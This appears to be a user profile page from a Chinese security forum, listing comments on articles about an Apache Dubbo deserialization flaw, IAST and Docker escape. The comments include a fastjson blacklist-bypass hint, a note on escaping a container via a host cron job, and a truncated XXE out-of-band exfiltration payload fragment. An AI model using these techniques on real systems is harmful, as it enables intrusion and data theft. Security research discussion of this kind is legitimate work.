zxx
This guy is lazy, nothing left
UID 78632广东
—本季赏金
—累计赏金
0发布文章
0粉丝
贡献热力图
最近 52 周 · 共 0 次贡献
0
最近 52 周贡献次数
52 周前
少 多
今日最近活动
最近 8 条
2023
4月
评论了 Apache dubbo 反序列化漏洞（CVE-2023-23638）分析及利用探索
@lhhhhh**** 学
评论了 Apache dubbo 反序列化漏洞（CVE-2023-23638）分析及利用探索
受大佬启发，发现大于 1.2.48 的 fastjson 也是可以利用的，可以先修改 fastjson 里面的配置类，把黑名单类名添加到 mapping 中就可以了~ private static v…
2022
12月
评论了 IAST学习笔记
师傅用什么做的图呀
2021
12月
评论了 渗透测试之Docker逃逸
@ztos 并不是容器内部的，写的定时任务写到宿主机的 /etc/ 目录下了，在宿主机执行的定时任务，所以是逃逸。
2019
11月
2019
7月
@lyne 嗯嗯，谢谢
2019
4月
@m3lon 请问实验二你复现成功了吗？我按照作者方法 / 您这种方法 / <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://i…